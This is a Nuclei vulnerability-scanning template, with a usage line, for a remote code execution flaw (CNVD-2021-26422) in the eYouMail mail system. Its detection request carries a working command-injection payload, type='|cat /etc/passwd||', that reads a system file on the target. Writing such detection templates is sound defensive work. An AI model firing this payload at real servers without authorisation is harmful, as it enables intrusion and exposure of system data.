eYouMail - Remote Code Execution

ID: CNVD-2021-26422

Severity: critical

Author: daffainfo

Tags: cnvd2021,cnvd,eyoumail,rce

Description

eYouMail is susceptible to a remote code execution vulnerability.

YAML Source

id: CNVD-2021-26422

info:
  name: eYouMail - Remote Code Execution
  author: daffainfo
  severity: critical
  description: eYouMail is susceptible to a remote code execution vulnerability.
  reference:
    - https://github.com/ltfafei/my_POC/blob/master/CNVD-2021-26422_eYouMail/CNVD-2021-26422_eYouMail_RCE_POC.py
    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/%E4%BA%BF%E9%82%AE%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20(CNVD-2021-26422).md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cnvd2021,cnvd,eyoumail,rce

http:
  - raw:
      - |
        POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type='|cat /etc/passwd||'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100971e81cfdfa935f9e8a3a891008d075fbcb4e1a07cc185e866673202a6a9bc6602207859a9b21e37ce2cfe4f649193d8bd32fb0e599a8aebd9dd66ece1cc608ce731:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2021/CNVD-2021-26422.yaml"

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